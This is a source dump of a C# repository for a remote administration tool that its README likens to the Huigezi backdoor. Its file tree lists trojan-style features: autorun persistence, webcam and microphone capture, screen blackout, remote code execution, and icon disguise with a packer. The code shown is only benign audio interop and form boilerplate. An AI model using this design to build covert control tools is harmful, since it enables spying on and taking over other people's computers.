├── Libs
├── AForge.Controls.dll
├── AForge.Imaging.dll
├── AForge.Math.dll
├── AForge.Video.DirectShow.dll
├── AForge.Video.dll
├── AForge.dll
├── ILMerge.exe
├── ILMerge使用说明.txt
├── IrisSkin2.dll
├── Newtonsoft.Json.Lite.dll
└── log4net.dll
├── README.md
├── RemoteControl.Audio
├── Codecs
│ └── G711.cs
├── NativeMethods
│ ├── MMSYSERR.cs
│ ├── WAVEFORMATEX.cs
│ ├── WAVEHDR.cs
│ ├── WAVEOUTCAPS.cs
│ ├── WavConstants.cs
│ ├── WavFormat.cs
│ └── WavMethods.cs
├── Properties
│ └── AssemblyInfo.cs
├── RemoteControl.Audio.csproj
├── WavInDevice.cs
├── WavOutDevice.cs
├── WaveIn.cs
├── WaveOut.cs
└── bin
│ └── Debug
│ └── RemoteControl.Audio.dll
├── RemoteControl.Client.Excutor
├── FrmBlackScreen.Designer.cs
├── FrmBlackScreen.cs
├── FrmBlackScreen.resx
├── FrmCamCapture.Designer.cs
├── FrmCamCapture.cs
├── FrmCamCapture.resx
├── Program.cs
├── Properties
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ ├── Resources.resx
│ ├── Settings.Designer.cs
│ └── Settings.settings
├── RemoteControl.Client.Excutor.csproj
├── RemoteControl.Client.Excutor.csproj.user
├── Utils
│ ├── Win32Api.cs
│ └── WinMMPlayer.cs
├── app.manifest
└── bin
│ └── Debug
│ ├── AForge.Controls.dll
│ ├── AForge.Imaging.dll
│ ├── AForge.Math.dll
│ ├── AForge.Video.DirectShow.dll
│ ├── AForge.Video.dll
│ ├── AForge.dll
│ ├── Client.Excutor.dat
│ ├── ILMerge.exe
│ ├── RemoteControl.Client.Excutor.exe
│ └── combineDlls.bat
├── RemoteControl.Client.Lite
├── Handlers
│ ├── AbstractRequestHandler.cs
│ ├── IRequestHandler.cs
│ ├── RequestCaptureScreenHandler.cs
│ ├── RequestCommandHandler.cs
│ ├── RequestDownloadHandler.cs
│ ├── RequestGetDrivesHandler.cs
│ ├── RequestGetSubFilesOrDirsHandler.cs
│ ├── RequestOpenFileHandler.cs
│ └── RequestUploadHandler.cs
├── Loaders
│ ├── Newtonsoft.Json.Lite.dll.zip
│ └── RemoteControl.Protocals.dll.zip
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
├── RemoteControl.Client.Lite.csproj
├── Utils
│ ├── AssemblyLoader.cs
│ └── ScreenUtil.cs
├── app.manifest
└── bin
│ └── Debug
│ ├── AssemblyLoaderHelper.exe
│ ├── Newtonsoft.Json.Lite.dll
│ ├── RemoteControl.Client.exe
│ └── RemoteControl.Protocals.dll
├── RemoteControl.Client
├── Handlers
│ ├── AbstractRequestHandler.cs
│ ├── IRequestHandler.cs
│ ├── RequestAutoRunHandler.cs
│ ├── RequestBlackScreenHandler.cs
│ ├── RequestCaptureAudioHandler.cs
│ ├── RequestCaptureScreenHandler.cs
│ ├── RequestCaptureVideoHandler.cs
│ ├── RequestCommandHandler.cs
│ ├── RequestDownloadHandler.cs
│ ├── RequestDownloadWebFileHandler.cs
│ ├── RequestExecCodeHandler.cs
│ ├── RequestGetDrivesHandler.cs
│ ├── RequestGetProcessesHandler.cs
│ ├── RequestGetSubFilesOrDirsHandler.cs
│ ├── RequestKeyboardEventHandler.cs
│ ├── RequestLockMouseHandler.cs
│ ├── RequestMouseEventHandler.cs
│ ├── RequestMsgBoxHandler.cs
│ ├── RequestOpeCDHandler.cs
│ ├── RequestOpeFileOrDirHandler.cs
│ ├── RequestOpeRegistryValueNameHandler.cs
│ ├── RequestOpenFileHandler.cs
│ ├── RequestOpenUrlHandler.cs
│ ├── RequestPlayMusicHandler.cs
│ ├── RequestPowerHandler.cs
│ ├── RequestQuitAppHandler.cs
│ ├── RequestRestartAppHandler.cs
│ ├── RequestUploadHandler.cs
│ └── RequestViewRegistryKeyHandler.cs
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
├── RemoteControl.Client.csproj
├── RemoteControl.Client.csproj.user
├── Res
│ └── Client.Excutor.dat
├── Services
│ └── CaptureVideoClient.cs
├── Utils
│ ├── KeyboardOpeUtil.cs
│ ├── MouseOpeUtil.cs
│ └── ScreenUtil.cs
├── app.manifest
└── bin
│ └── Debug
│ ├── Newtonsoft.Json.Lite.dll
│ ├── RemoteControl.Audio.dll
│ ├── RemoteControl.Client.exe
│ ├── RemoteControl.Protocals.dll
│ ├── audio
│ ├── futurama.raw
│ └── test.raw
│ └── combineDlls.bat
├── RemoteControl.Protocals
├── Codec
│ ├── CodecFactory.cs
│ ├── CodecFactoryBase.cs
│ ├── SocketSession.cs
│ └── ePacketType.cs
├── Extension
│ └── MyExtensions.cs
├── Generate
│ ├── ClientParameters.cs
│ └── ClientParametersManager.cs
├── OpeType.cs
├── Plugin
│ ├── AbstractPlugin.cs
│ ├── IPlugin.cs
│ └── PluginLoader.cs
├── Properties
│ └── AssemblyInfo.cs
├── RegistryTool
│ ├── eRegistryHive.cs
│ └── eRegistryValueKind.cs
├── RemoteControl.Protocals.csproj
├── Request
│ ├── ProcessProperty.cs
│ ├── RequestAutoRun.cs
│ ├── RequestCommand.cs
│ ├── RequestCopyFile.cs
│ ├── RequestCreateFileOrDir.cs
│ ├── RequestDeleteFileOrDir.cs
│ ├── RequestDownloadWebFile.cs
│ ├── RequestGetProcesses.cs
│ ├── RequestGetSubFilesOrDirs.cs
│ ├── RequestKeyboardEvent.cs
│ ├── RequestKillProcesses.cs
│ ├── RequestLockMouse.cs
│ ├── RequestMessageBox.cs
│ ├── RequestMouseEvent.cs
│ ├── RequestMoveFile.cs
│ ├── RequestOpeRegistryValueName.cs
│ ├── RequestOpenFile.cs
│ ├── RequestOpenUrl.cs
│ ├── RequestPlayMusic.cs
│ ├── RequestRenameFile.cs
│ ├── RequestRunExecCode.cs
│ ├── RequestStartCaptureAudio.cs
│ ├── RequestStartCaptureVideo.cs
│ ├── RequestStartDownload.cs
│ ├── RequestStartGetScreen.cs
│ ├── RequestStartUpload.cs
│ ├── RequestStopGetScreen.cs
│ ├── RequestTransportExecCode.cs
│ ├── RequestViewRegistryKey.cs
│ └── ePathType.cs
├── Response
│ ├── ResponseAutoRun.cs
│ ├── ResponseBase.cs
│ ├── ResponseCommand.cs
│ ├── ResponseCopyFile.cs
│ ├── ResponseCreateFileOrDir.cs
│ ├── ResponseDeleteFileOrDir.cs
│ ├── ResponseGetDrives.cs
│ ├── ResponseGetHostName.cs
│ ├── ResponseGetProcesses.cs
│ ├── ResponseGetSubFilesOrDirs.cs
│ ├── ResponseMoveFile.cs
│ ├── ResponseOpeRegistryValueName.cs
│ ├── ResponseStartCaptureAudio.cs
│ ├── ResponseStartCaptureVideo.cs
│ ├── ResponseStartDownload.cs
│ ├── ResponseStartDownloadHeader.cs
│ ├── ResponseStartGetScreen.cs
│ ├── ResponseStartUpload.cs
│ ├── ResponseStopUpload.cs
│ └── ResponseViewRegistryKey.cs
├── Utilities
│ ├── CommonUtil.cs
│ ├── ProcessUtil.cs
│ ├── ResUtil.cs
│ ├── SchTaskUtil.cs
│ └── Win32API.cs
└── bin
│ ├── Debug
│ ├── Newtonsoft.Json.Lite.dll
│ └── RemoteControl.Protocals.dll
│ └── x86
│ └── Debug
│ ├── Newtonsoft.Json.Lite.dll
│ └── RemoteControl.Protocals.dll
├── RemoteControl.Server
├── ClientConnectedEventArgs.cs
├── FrmAbout.Designer.cs
├── FrmAbout.cs
├── FrmAbout.resx
├── FrmBase.Designer.cs
├── FrmBase.cs
├── FrmBase.resx
├── FrmCaptureScreen.Designer.cs
├── FrmCaptureScreen.cs
├── FrmCaptureScreen.resx
├── FrmCaptureVideo.Designer.cs
├── FrmCaptureVideo.cs
├── FrmCaptureVideo.resx
├── FrmDownload.Designer.cs
├── FrmDownload.cs
├── FrmDownload.resx
├── FrmDownloadWebFile.Designer.cs
├── FrmDownloadWebFile.cs
├── FrmDownloadWebFile.resx
├── FrmInputFileOrDir.Designer.cs
├── FrmInputFileOrDir.cs
├── FrmInputFileOrDir.resx
├── FrmInputUrl.Designer.cs
├── FrmInputUrl.cs
├── FrmInputUrl.resx
├── FrmMain.Designer.cs
├── FrmMain.cs
├── FrmMain.resx
├── FrmOkCancelBase.Designer.cs
├── FrmOkCancelBase.cs
├── FrmOkCancelBase.resx
├── FrmRename.Designer.cs
├── FrmRename.cs
├── FrmRename.resx
├── FrmSelectAvatar.Designer.cs
├── FrmSelectAvatar.cs
├── FrmSelectAvatar.resx
├── FrmSelectIcon.Designer.cs
├── FrmSelectIcon.cs
├── FrmSelectIcon.resx
├── FrmSendMessage.Designer.cs
├── FrmSendMessage.cs
├── FrmSendMessage.resx
├── FrmSettings.Designer.cs
├── FrmSettings.cs
├── FrmSettings.resx
├── ListViewItemFileOrDirTag.cs
├── PacketReceivedEventArgs.cs
├── PasteInfo.cs
├── Program.cs
├── Properties
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ ├── Resources.resx
│ ├── Settings.Designer.cs
│ └── Settings.settings
├── RSCApplication.cs
├── RemoteControl.Server.csproj
├── RemoteControlServer.cs
├── SendCommandHotKey.cs
├── Settings.cs
├── SortableListView.cs
├── UIUtil.cs
├── Utils
│ ├── IconChanger.cs
│ ├── IconChangerExtensions.cs
│ └── MsgBox.cs
├── app.config
├── app.ico
├── bin
│ └── Debug
│ │ ├── Avatars
│ │ ├── 14321_100.png
│ │ ├── 14724_100.png
│ │ ├── 14726_100.png
│ │ ├── 15609_100.png
│ │ ├── 15746_100.png
│ │ ├── 15849_100.png
│ │ ├── 15942_100.png
│ │ ├── 15944_100.png
│ │ ├── 16005_100.png
│ │ ├── 16063_100.png
│ │ ├── 16206_100.png
│ │ ├── 16211_100.png
│ │ ├── 16212_100.png
│ │ ├── 16213_100.png
│ │ ├── 16219_100.png
│ │ ├── 16221_100.png
│ │ ├── 16224_100.png
│ │ ├── 16225_100.png
│ │ ├── 16228_100.png
│ │ ├── 16236_100.png
│ │ ├── 16237_100.png
│ │ ├── 16238_100.png
│ │ ├── 16242_100.png
│ │ ├── 16243_100.png
│ │ ├── 16247_100.gif
│ │ ├── 16250_100.gif
│ │ ├── 16251_100.gif
│ │ ├── 16252_100.png
│ │ ├── 16253_100.png
│ │ ├── 16254_100.png
│ │ ├── 16255_100.png
│ │ ├── 16256_100.png
│ │ ├── 16257_100.png
│ │ ├── 16258_100.png
│ │ └── 16260_100.png
│ │ ├── IrisSkin2.dll
│ │ ├── Newtonsoft.Json.Lite.dll
│ │ ├── RemoteControl.Audio.dll
│ │ ├── RemoteControl.Client.dat
│ │ ├── RemoteControl.Protocals.dll
│ │ ├── RemoteControl.Server.exe
│ │ ├── RemoteControl.Server.exe.config
│ │ ├── RemoteControl.zip
│ │ ├── Skins
│ │ ├── Carlmness
│ │ │ ├── Calmness.ssk
│ │ │ ├── CalmnessColor1.ssk
│ │ │ ├── CalmnessColor2.ssk
│ │ │ ├── calmness.gif
│ │ │ ├── calmness_color1.gif
│ │ │ └── calmness_color2.gif
│ │ ├── Deep
│ │ │ ├── DeepCyan.ssk
│ │ │ ├── DeepGreen.ssk
│ │ │ ├── DeepOrange.ssk
│ │ │ ├── deepcyan.gif
│ │ │ ├── deepgreen.gif
│ │ │ └── deeporange.gif
│ │ ├── Diamond
│ │ │ ├── DiamondBlue.ssk
│ │ │ ├── DiamondGreen.ssk
│ │ │ ├── DiamondOlive.gif
│ │ │ ├── DiamondOlive.ssk
│ │ │ ├── DiamondPurple.gif
│ │ │ ├── DiamondPurple.ssk
│ │ │ ├── DiamondRed.gif
│ │ │ ├── DiamondRed.ssk
│ │ │ ├── diamondblue.gif
│ │ │ └── diamondgreen.gif
│ │ ├── Eighteen
│ │ │ ├── Eighteen.ssk
│ │ │ ├── EighteenColor1.ssk
│ │ │ ├── EighteenColor2.ssk
│ │ │ ├── eighteen.gif
│ │ │ ├── eighteen_color1.gif
│ │ │ └── eighteen_color2.gif
│ │ ├── Emerald
│ │ │ ├── Emerald.ssk
│ │ │ ├── EmeraldColor1.ssk
│ │ │ ├── EmeraldColor2.ssk
│ │ │ ├── EmeraldColor3.ssk
│ │ │ ├── emerald.gif
│ │ │ ├── emerald_color1.gif
│ │ │ ├── emerald_color2.gif
│ │ │ └── emerald_color3.gif
│ │ ├── Glass
│ │ │ ├── GlassBrown.ssk
│ │ │ ├── GlassGreen.ssk
│ │ │ ├── GlassOrange.ssk
│ │ │ ├── glassbrown.gif
│ │ │ ├── glassgreen.gif
│ │ │ └── glassorange.gif
│ │ ├── Longhorn
│ │ │ ├── Longhorn.ssk
│ │ │ └── longhorn.gif
│ │ ├── MP10
│ │ │ ├── mp10.gif
│ │ │ ├── mp10.ssk
│ │ │ ├── mp10green.gif
│ │ │ ├── mp10green.ssk
│ │ │ ├── mp10maroon.gif
│ │ │ ├── mp10maroon.ssk
│ │ │ ├── mp10mulberry.gif
│ │ │ ├── mp10mulberry.ssk
│ │ │ ├── mp10pink.gif
│ │ │ ├── mp10pink.ssk
│ │ │ ├── mp10purple.gif
│ │ │ └── mp10purple.ssk
│ │ ├── MSN
│ │ │ ├── MSN.ssk
│ │ │ └── msn.gif
│ │ ├── MacOS
│ │ │ ├── MacOS.ssk
│ │ │ └── macos.gif
│ │ ├── Midsummer
│ │ │ ├── Midsummer.ssk
│ │ │ ├── MidsummerColor1.ssk
│ │ │ ├── MidsummerColor2.ssk
│ │ │ ├── MidsummerColor3.ssk
│ │ │ ├── midsummer.gif
│ │ │ ├── midsummer_color1.gif
│ │ │ ├── midsummer_color2.gif
│ │ │ └── midsummer_color3.gif
│ │ ├── Office2007
│ │ │ ├── office2007.gif
│ │ │ └── office2007.ssk
│ │ ├── One
│ │ │ ├── OneBlue.ssk
│ │ │ ├── OneCyan.ssk
│ │ │ ├── OneGreen.ssk
│ │ │ ├── OneOrange.ssk
│ │ │ ├── oneblue.gif
│ │ │ ├── onecyan.gif
│ │ │ ├── onegreen.gif
│ │ │ └── oneorange.gif
│ │ ├── Page
│ │ │ ├── Page.ssk
│ │ │ ├── PageColor1.ssk
│ │ │ ├── PageColor2.ssk
│ │ │ ├── page.gif
│ │ │ ├── page_color1.gif
│ │ │ └── page_color2.gif
│ │ ├── RealOne
│ │ │ ├── RealOne.ssk
│ │ │ └── realone.gif
│ │ ├── Silver
│ │ │ ├── Silver.ssk
│ │ │ ├── SilverColor1.ssk
│ │ │ ├── SilverColor2.ssk
│ │ │ ├── silver.gif
│ │ │ ├── silver_color1.gif
│ │ │ └── silver_color2.gif
│ │ ├── Sports
│ │ │ ├── SportsBlack.ssk
│ │ │ ├── SportsBlue.ssk
│ │ │ ├── SportsCyan.ssk
│ │ │ ├── SportsGreen.ssk
│ │ │ ├── SportsOrange.ssk
│ │ │ ├── sportsblack.gif
│ │ │ ├── sportsblue.gif
│ │ │ ├── sportscyan.gif
│ │ │ ├── sportsgreen.gif
│ │ │ └── sportsorange.gif
│ │ ├── Steel
│ │ │ ├── SteelBlack.ssk
│ │ │ ├── SteelBlue.ssk
│ │ │ ├── steelblack.gif
│ │ │ └── steelblue.gif
│ │ ├── Vista1
│ │ │ ├── vista1.gif
│ │ │ ├── vista1.ssk
│ │ │ ├── vista1_green.gif
│ │ │ └── vista1_green.ssk
│ │ ├── Vista2
│ │ │ ├── Vista2_color1.ssk
│ │ │ ├── Vista2_color2.ssk
│ │ │ ├── Vista2_color3.ssk
│ │ │ ├── Vista2_color4.ssk
│ │ │ ├── Vista2_color5.ssk
│ │ │ ├── Vista2_color6.ssk
│ │ │ ├── Vista2_color7.ssk
│ │ │ ├── vista2_color1.gif
│ │ │ ├── vista2_color2.gif
│ │ │ ├── vista2_color3.gif
│ │ │ ├── vista2_color4.gif
│ │ │ ├── vista2_color5.gif
│ │ │ ├── vista2_color6.gif
│ │ │ └── vista2_color7.gif
│ │ ├── Warm
│ │ │ ├── Warm.ssk
│ │ │ ├── WarmColor1.ssk
│ │ │ ├── WarmColor2.ssk
│ │ │ ├── WarmColor3.ssk
│ │ │ ├── warm.gif
│ │ │ ├── warm_color1.gif
│ │ │ ├── warm_color2.gif
│ │ │ └── warm_color3.gif
│ │ ├── Wave
│ │ │ ├── Wave.ssk
│ │ │ ├── WaveColor1.ssk
│ │ │ ├── WaveColor2.ssk
│ │ │ ├── wave.gif
│ │ │ ├── wave_color1.gif
│ │ │ └── wave_color2.gif
│ │ └── WinXP
│ │ │ ├── XPBlue.ssk
│ │ │ ├── XPGreen.ssk
│ │ │ ├── XPOrange.ssk
│ │ │ ├── XPSilver.ssk
│ │ │ ├── xpblue.gif
│ │ │ ├── xpgreen.gif
│ │ │ ├── xporange.gif
│ │ │ └── xpsilver.gif
│ │ ├── Tools
│ │ ├── EnigmaVirtualBox_7.3.exe
│ │ ├── Interop.ThunderAgentLib.dll
│ │ ├── MusicHunter.exe
│ │ ├── Newtonsoft.Json.Net35.dll
│ │ └── 图标转换.exe
│ │ ├── config.json
│ │ └── log4net.dll
├── control.png
└── ePathType.cs
├── RemoteControl.sln
├── RemoteControl.userprefs
├── Resources
├── back.png
├── category.png
├── copy.png
├── cut.png
├── delete.png
├── disk.png
├── download.png
├── dvd.png
├── folder.png
├── newTXT.png
├── newfolder.png
├── paste.png
├── qq.png
├── setting.png
└── upload.png
└── copy.bat
/Libs/AForge.Controls.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/AForge.Controls.dll
--------------------------------------------------------------------------------
/Libs/AForge.Imaging.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/AForge.Imaging.dll
--------------------------------------------------------------------------------
/Libs/AForge.Math.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/AForge.Math.dll
--------------------------------------------------------------------------------
/Libs/AForge.Video.DirectShow.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/AForge.Video.DirectShow.dll
--------------------------------------------------------------------------------
/Libs/AForge.Video.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/AForge.Video.dll
--------------------------------------------------------------------------------
/Libs/AForge.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/AForge.dll
--------------------------------------------------------------------------------
/Libs/ILMerge.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/ILMerge.exe
--------------------------------------------------------------------------------
/Libs/ILMerge使用说明.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/ILMerge使用说明.txt
--------------------------------------------------------------------------------
/Libs/IrisSkin2.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/IrisSkin2.dll
--------------------------------------------------------------------------------
/Libs/Newtonsoft.Json.Lite.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/Newtonsoft.Json.Lite.dll
--------------------------------------------------------------------------------
/Libs/log4net.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/Libs/log4net.dll
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # RemoteControl
2 | 远程控制,类似于灰鸽子
3 |
--------------------------------------------------------------------------------
/RemoteControl.Audio/NativeMethods/WAVEHDR.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 | using System.Runtime.InteropServices;
5 |
6 | namespace RemoteControl.Audio.NativeMethods
7 | {
8 | ///
9 | /// This class represents WAVEHDR structure.
10 | ///
11 | [StructLayout(LayoutKind.Sequential)]
12 | internal struct WAVEHDR
13 | {
14 | ///
15 | /// Long pointer to the address of the waveform buffer.
16 | ///
17 | public IntPtr lpData;
18 | ///
19 | /// Specifies the length, in bytes, of the buffer.
20 | ///
21 | public uint dwBufferLength;
22 | ///
23 | /// When the header is used in input, this member specifies how much data is in the buffer.
24 | /// When the header is used in output, this member specifies the number of bytes played from the buffer.
25 | ///
26 | public uint dwBytesRecorded;
27 | ///
28 | /// Specifies user data.
29 | ///
30 | public IntPtr dwUser;
31 | ///
32 | /// Specifies information about the buffer.
33 | ///
34 | public uint dwFlags;
35 | ///
36 | /// Specifies the number of times to play the loop.
37 | ///
38 | public uint dwLoops;
39 | ///
40 | /// Reserved. This member is used within the audio driver to maintain a first-in, first-out linked list of headers awaiting playback.
41 | ///
42 | public IntPtr lpNext;
43 | ///
44 | /// Reserved.
45 | ///
46 | public uint reserved;
47 | }
48 | }
49 |
--------------------------------------------------------------------------------
/RemoteControl.Audio/NativeMethods/WAVEOUTCAPS.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 | using System.Runtime.InteropServices;
5 |
6 | namespace RemoteControl.Audio.NativeMethods
7 | {
8 | ///
9 | /// This class represents WAVEOUTCAPS structure.
10 | ///
11 | [StructLayout(LayoutKind.Sequential)]
12 | internal struct WAVEOUTCAPS
13 | {
14 | ///
15 | /// Manufacturer identifier for the device driver for the device.
16 | ///
17 | public ushort wMid;
18 | ///
19 | /// Product identifier for the device.
20 | ///
21 | public ushort wPid;
22 | ///
23 | /// Version number of the device driver for the device.
24 | ///
25 | public uint vDriverVersion;
26 | ///
27 | /// Product name in a null-terminated string.
28 | ///
29 | [MarshalAs(UnmanagedType.ByValTStr,SizeConst = 32)]
30 | public string szPname;
31 | ///
32 | /// Standard formats that are supported.
33 | ///
34 | public uint dwFormats;
35 | ///
36 | /// Number specifying whether the device supports mono (1) or stereo (2) output.
37 | ///
38 | public ushort wChannels;
39 | ///
40 | /// Packing.
41 | ///
42 | public ushort wReserved1;
43 | ///
44 | /// Optional functionality supported by the device.
45 | ///
46 | public uint dwSupport;
47 | }
48 | }
49 |
--------------------------------------------------------------------------------
/RemoteControl.Audio/NativeMethods/WavConstants.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 |
5 | namespace RemoteControl.Audio.NativeMethods
6 | {
7 | ///
8 | /// This class provides most used wav constants.
9 | ///
10 | internal class WavConstants
11 | {
12 | public const int MM_WOM_OPEN = 0x3BB;
13 | public const int MM_WOM_CLOSE = 0x3BC;
14 | public const int MM_WOM_DONE = 0x3BD;
15 |
16 | public const int MM_WIM_OPEN = 0x3BE;
17 | public const int MM_WIM_CLOSE = 0x3BF;
18 | public const int MM_WIM_DATA = 0x3C0;
19 |
20 |
21 | public const int CALLBACK_FUNCTION = 0x00030000;
22 |
23 | public const int WAVERR_STILLPLAYING = 0x21;
24 |
25 | public const int WHDR_DONE = 0x00000001;
26 | public const int WHDR_PREPARED = 0x00000002;
27 | public const int WHDR_BEGINLOOP = 0x00000004;
28 | public const int WHDR_ENDLOOP = 0x00000008;
29 | public const int WHDR_INQUEUE = 0x00000010;
30 |
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/RemoteControl.Audio/NativeMethods/WavFormat.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 |
5 | namespace RemoteControl.Audio.NativeMethods
6 | {
7 | ///
8 | /// This class holds most known wav compression formats.
9 | ///
10 | internal class WavFormat
11 | {
12 | public const int PCM = 0x0001;
13 | /*
14 | public const int ADPCM = 0x0002;
15 | public const int ALAW = 0x0006;
16 | public const int MULAW = 0x0007;
17 | public const int G723_ADPCM = 0x0014;
18 | public const int GSM610 = 0x0031;
19 | public const int G721_ADPCM = 0x0040;
20 | public const int G726_ADPCM = 0x0064;
21 | public const int G722_ADPCM = 0x006;
22 | public const int G729A = 0x0083;*/
23 |
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/RemoteControl.Audio/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // 有关程序集的常规信息通过以下
6 | // 特性集控制。更改这些特性值可修改
7 | // 与程序集关联的信息。
8 | [assembly: AssemblyTitle("RemoteControl.Audio")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("RemoteControl.Audio")]
13 | [assembly: AssemblyCopyright("Copyright © 2017")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // 将 ComVisible 设置为 false 使此程序集中的类型
18 | // 对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型,
19 | // 则将该类型上的 ComVisible 特性设置为 true。
20 | [assembly: ComVisible(false)]
21 |
22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
23 | [assembly: Guid("0b639bd4-9bd2-4c32-884d-e2e3e6c92932")]
24 |
25 | // 程序集的版本信息由下面四个值组成:
26 | //
27 | // 主版本
28 | // 次版本
29 | // 内部版本号
30 | // 修订号
31 | //
32 | // 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值,
33 | // 方法是按如下所示使用“*”:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/RemoteControl.Audio/WavInDevice.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 |
5 | namespace RemoteControl.Audio
6 | {
7 | ///
8 | /// This class represents wav input device.
9 | ///
10 | public class WavInDevice
11 | {
12 | private int m_Index = 0;
13 | private string m_Name = "";
14 | private int m_Channels = 1;
15 |
16 | ///
17 | /// Default constructor.
18 | ///
19 | /// Device index in devices.
20 | /// Device name.
21 | /// Number of audio channels.
22 | internal WavInDevice(int index,string name,int channels)
23 | {
24 | m_Index = index;
25 | m_Name = name;
26 | m_Channels = channels;
27 | }
28 |
29 |
30 | #region Properties Implementation
31 |
32 | ///
33 | /// Gets device name.
34 | ///
35 | public string Name
36 | {
37 | get{ return m_Name; }
38 | }
39 |
40 | ///
41 | /// Gets number of input channels(mono,stereo,...) supported.
42 | ///
43 | public int Channels
44 | {
45 | get{ return m_Channels; }
46 | }
47 |
48 |
49 | ///
50 | /// Gets device index in devices.
51 | ///
52 | internal int Index
53 | {
54 | get{ return m_Index; }
55 | }
56 |
57 | #endregion
58 | }
59 | }
60 |
--------------------------------------------------------------------------------
/RemoteControl.Audio/WavOutDevice.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 |
5 | namespace RemoteControl.Audio
6 | {
7 | ///
8 | /// This class represents wav output device.
9 | ///
10 | public class WavOutDevice
11 | {
12 | private int m_Index = 0;
13 | private string m_Name = "";
14 | private int m_Channels = 1;
15 |
16 | ///
17 | /// Default constructor.
18 | ///
19 | /// Device index in devices.
20 | /// Device name.
21 | /// Number of audio channels.
22 | internal WavOutDevice(int index,string name,int channels)
23 | {
24 | m_Index = index;
25 | m_Name = name;
26 | m_Channels = channels;
27 | }
28 |
29 |
30 | #region Properties Implementation
31 |
32 | ///
33 | /// Gets device name.
34 | ///
35 | public string Name
36 | {
37 | get{ return m_Name; }
38 | }
39 |
40 | ///
41 | /// Gets number of output channels(mono,stereo,...) supported.
42 | ///
43 | public int Channels
44 | {
45 | get{ return m_Channels; }
46 | }
47 |
48 |
49 | ///
50 | /// Gets device index in devices.
51 | ///
52 | internal int Index
53 | {
54 | get{ return m_Index; }
55 | }
56 |
57 | #endregion
58 |
59 | }
60 | }
61 |
--------------------------------------------------------------------------------
/RemoteControl.Audio/bin/Debug/RemoteControl.Audio.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Audio/bin/Debug/RemoteControl.Audio.dll
--------------------------------------------------------------------------------
/RemoteControl.Client.Excutor/FrmBlackScreen.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace RemoteControl.Client.Excutor
2 | {
3 | partial class FrmBlackScreen
4 | {
5 | ///
6 | /// 必需的设计器变量。
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// 清理所有正在使用的资源。
12 | ///
13 | /// 如果应释放托管资源,为 true;否则为 false。
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows 窗体设计器生成的代码
24 |
25 | ///
26 | /// 设计器支持所需的方法 - 不要
27 | /// 使用代码编辑器修改此方法的内容。
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.SuspendLayout();
32 | //
33 | // FrmMain
34 | //
35 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
36 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
37 | this.BackColor = System.Drawing.Color.Black;
38 | this.ClientSize = new System.Drawing.Size(284, 262);
